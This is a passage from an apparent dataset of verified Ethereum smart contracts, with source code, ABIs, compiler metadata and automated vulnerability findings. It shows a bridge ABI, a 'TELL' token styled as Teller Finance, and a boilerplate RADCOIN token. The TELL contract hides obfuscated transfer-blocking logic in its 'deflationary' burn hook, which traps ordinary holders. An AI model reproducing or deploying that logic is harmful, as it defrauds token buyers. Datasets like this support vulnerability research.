function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"breakoutTokens","outputs":[{"name":"","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"main_token","type":"address"},{"name":"chain_id","type":"uint256"},{"name":"alt_addr","type":"bytes"},{"name":"value","type":"uint256"}],"name":"depositToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"chain_id","type":"uint256"},{"name":"cloned_token","type":"address"},{"name":"alt_addr","type":"bytes"},{"name":"value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"chain_id","type":"uint256"},{"name":"proof","type":"bytes"},{"name":"addr","type":"address"},{"name":"value","type":"uint256"}],"name":"withdrawNative","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"chain_id","type":"uint256"},{"name":"alt_addr","type":"bytes"}],"name":"depositNative","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"foundation_beneficiary","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"cloned_token_hash","type":"bytes"},{"indexed":true,"name":"alt_addr_hash","type":"bytes"},{"indexed":false,"name":"main_token","type":"address"},{"indexed":false,"name":"cloned_token","type":"bytes"},{"indexed":false,"name":"alt_addr","type":"bytes"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"main_token","type":"address"},{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"proof","type":"bytes"},{"indexed":false,"name":"cloned_token","type":"bytes"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Withdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"main_token","type":"address"},{"indexed":true,"name":"cloned_token_hash","type":"bytes"},{"indexed":false,"name":"cloned_token","type":"bytes"},{"indexed":false,"name":"old_cloned_token","type":"bytes"},{"indexed":false,"name":"minValue","type":"uint256"}],"name":"RegisterBreakout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"cloned_token","type":"address"},{"indexed":true,"name":"main_token_hash","type":"bytes"},{"indexed":false,"name":"main_token","type":"bytes"},{"indexed":false,"name":"old_main_token","type":"bytes"},{"indexed":false,"name":"minValue","type":"uint256"}],"name":"RegisterBreakin","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"cloned_token","type":"address"},{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"proof","type":"bytes"},{"indexed":false,"name":"main_token","type":"bytes"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"chain_id","type":"uint256"},{"indexed":true,"name":"main_token_hash","type":"bytes"},{"indexed":true,"name":"alt_addr_hash","type":"bytes"},{"indexed":false,"name":"cloned_token","type":"address"},{"indexed":false,"name":"main_token","type":"bytes"},{"indexed":false,"name":"alt_addr","type":"bytes"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"oldAddr","type":"address"},{"indexed":false,"name":"newAddr","type":"address"}],"name":"FoundationTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"PauserAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"PauserRemoved","type":"event"}] | v0.5.2+commit.1df8f40c | true | 20,000 | 000000000000000000000000da3517c5d6c0c7ae9a416310e7f8a16635d00d85 | Default | false | bzzr://c21a1941d81363302ac34619103a8f5b2b1d3e000f546c6212a4445a8f32fab3 |
|||
TELL | 0xab9720edc0e81833f8ed398580c9217247b351fe | Solidity | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* _____ _ _ ______ _
* |_ _| | | | | ___(_)
* | | ___| | | ___ _ __ | |_ _ _ __ __ _ _ __ ___ ___
* | |/ _ \ | |/ _ \ '__| | _| | | '_ \ / _` | '_ \ / __/ _ \
* | | __/ | | __/ | | | | | | | | (_| | | | | (_| __/
* \_/\___|_|_|\___|_| \_| |_|_| |_|\__,_|_| |_|\___\___|
*
* An algorithmic credit risk protocol, for decentralized lending.
* Website: https://www.teller.finance/
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0x9326;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract TELL is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Teller Finance", "TELL") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["372"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["221", "249", "242"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [154]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TELL.sol": [96, 97, 98, 99, 100, 101, 92, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [160, 161, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [245, 246, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [184, 185, 186]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [177, 178, 179]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [337, 338, 339, 340, 341]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [192, 193, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TELL.sol": [200, 198, 199]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"TELL.sol": [192, 193, 191]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"TELL.sol": [184, 185, 186]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TELL.sol": [253]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [153]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [154]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [147]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [288]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [219]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [148]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [152]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TELL.sol": [150]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 288, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 246, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 144, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 303, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 391, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 287, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 288, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 145, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 261, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 304, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 306, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 371, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 392, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 219, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 371, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 371, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 371, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 372, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 372, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 372, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 373, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 373, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 373, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 394, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 395, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 398, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 398, "severity": 1}] | [{"inputs":[{"internalType":"uint256","name":"initialBalance","type":"uint256"},{"internalType":"address payable[]","name":"ICOAddresses","type":"address[]"},{"internalType":"uint256[]","name":"ICOAmounts","type":"uint256[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.4+commit.3f05b770 | false | 200 | 000000000000000000000000000000000000000000000000000000000003afd700000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000520000000000000000000000000000000000000000000000000000000000000002500000000000000000000000064abee4f8b3b0ad90a98ea0d66fb47cad0e6864200000000000000000000000081e3f572f5edf754be0acc3d8f1204e4d3c6dbca00000000000000000000000009bef15df551209ea315887d17ba0fde436ba765000000000000000000000000032be6c21d369ac90b4f7a717b7929ab0557239b0000000000000000000000002c14ed354e9991dc26437e6d6b84fb85f7fd2c120000000000000000000000008d2ce0e636106bc384a0a4b9b52eab5b463952be00000000000000000000000067d7f18c324e605b4929a5f527b27332471a3c080000000000000000000000000bdd40b7479e2a4e2d9241ccf548b6cd37a9b83b000000000000000000000000287904a8f9d0f2fede3027b88d1ce6faa76726e7000000000000000000000000c4105ba94765094e1f6c887708eeb68bf39cac5b000000000000000000000000e77cb8343fd3277f4ccf7f194a8ad34ec78ca55900000000000000000000000051ddbf828b44ec7e867c440eeb58d37c240f6312000000000000000000000000b29e5fc8c47a07f838336d44305ebd210a26e6f1000000000000000000000000b0631436184ba0e1790b3f8fc5704e4f55db539f0000000000000000000000003758d90b8bda27ce4d46c7c26b462640fd75e3660000000000000000000000001339b7216ce5114bf84082b4fe4e9b431a857c66000000000000000000000000e1adfd3f83a061dee3ddd06b5570d77ce04a0afe000000000000000000000000eb91dd0bc16d236122ff8929044e13b3cfb2ecca0000000000000000000000009d53bf3b4227d95b479657087738bf4ed9d646160000000000000000000000003d7ada10f66e80bc09422098912774ae75278d00000000000000000000000000cfada4e4b8b21bf948ae2c41abdf01039d5afa68000000000000000000000000f24b6b94f3759e32e978d390060f90a126724e4100000000000000000000000080ca36b2bec5fdb55d18422e1a05bacc0644683a0000000000000000000000005c014c00c9f7c41fecc5ede9f2e9a93a910cab2e000000000000000000000000e4c122a37e9190b677922171ddeaff89abcac6d6000000000000000000000000a00f9ac355508c6fa4650b8ca72ebf1e2d91fa7f000000000000000000000000368b06c44c48603d88446f97ff6694435d669203000000000000000000000000903fb75df1679c9430a608cf70c9c3af46c7c752000000000000000000000000f39f87834e79007ba9a2ac48a00a0a28bb2732ba000000000000000000000000f7194291b80d1e6c151aeb708aac244435b69ce2000000000000000000000000c9f056d4e9d27e2feac96803b5a7ccb26f97515b00000000000000000000000094bf0f90f3a6b3483375580447ff7d0e1e0a63560000000000000000000000007e589fa0a507f12b0de2e57b59aac628dc231fa5000000000000000000000000efa5244d1cbd094127c19f31e01132bf6e6c98fc0000000000000000000000005c8654293d43bfe797356f969dfa452ecffa4dfd00000000000000000000000070a4df0bcf2d984b28844f6c50c5c2387b2ffe6c00000000000000000000000042f95acc72bcb298c339b620866aad737dac5f67000000000000000000000000000000000000000000000000000000000000002500000000000000000000000000000000000000000000000000000000000007d00000000000000000000000000000000000000000000000000000000000001e710000000000000000000000000000000000000000000000000000000000002362000000000000000000000000000000000000000000000000000000000000014a00000000000000000000000000000000000000000000000000000000000007e6000000000000000000000000000000000000000000000000000000000000063400000000000000000000000000000000000000000000000000000000000003130000000000000000000000000000000000000000000000000000000000000eef00000000000000000000000000000000000000000000000000000000000016d500000000000000000000000000000000000000000000000000000000000013640000000000000000000000000000000000000000000000000000000000001d3a000000000000000000000000000000000000000000000000000000000000044400000000000000000000000000000000000000000000000000000000000018c40000000000000000000000000000000000000000000000000000000000001e030000000000000000000000000000000000000000000000000000000000000d3a00000000000000000000000000000000000000000000000000000000000012300000000000000000000000000000000000000000000000000000000000001e6c0000000000000000000000000000000000000000000000000000000000001b7a000000000000000000000000000000000000000000000000000000000000075600000000000000000000000000000000000000000000000000000000000013ec0000000000000000000000000000000000000000000000000000000000001f9e00000000000000000000000000000000000000000000000000000000000001e3000000000000000000000000000000000000000000000000000000000000030b00000000000000000000000000000000000000000000000000000000000005f9000000000000000000000000000000000000000000000000000000000000179c0000000000000000000000000000000000000000000000000000000000000b8f00000000000000000000000000000000000000000000000000000000000009be00000000000000000000000000000000000000000000000000000000000008c6000000000000000000000000000000000000000000000000000000000000224d0000000000000000000000000000000000000000000000000000000000000a42000000000000000000000000000000000000000000000000000000000000166500000000000000000000000000000000000000000000000000000000000015a300000000000000000000000000000000000000000000000000000000000011c400000000000000000000000000000000000000000000000000000000000012100000000000000000000000000000000000000000000000000000000000000d180000000000000000000000000000000000000000000000000000000000001ccd000000000000000000000000000000000000000000000000000000000000020c | Default | MIT | false | ipfs://ad548f49266c429363cab2594607480235cd0c8120c9e6b12778621f4436e795 |
||
RADCOINToken | 0xf037c7d756ec6e318d814c9ca484c71f9a3674ea | Solidity | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract RADCOINToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function RADCOINToken(
) {
balances[msg.sender] = 1000000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 1000000000000000000000; // Update total supply (100000 for example)
name = "RADCOIN"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "RAD"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
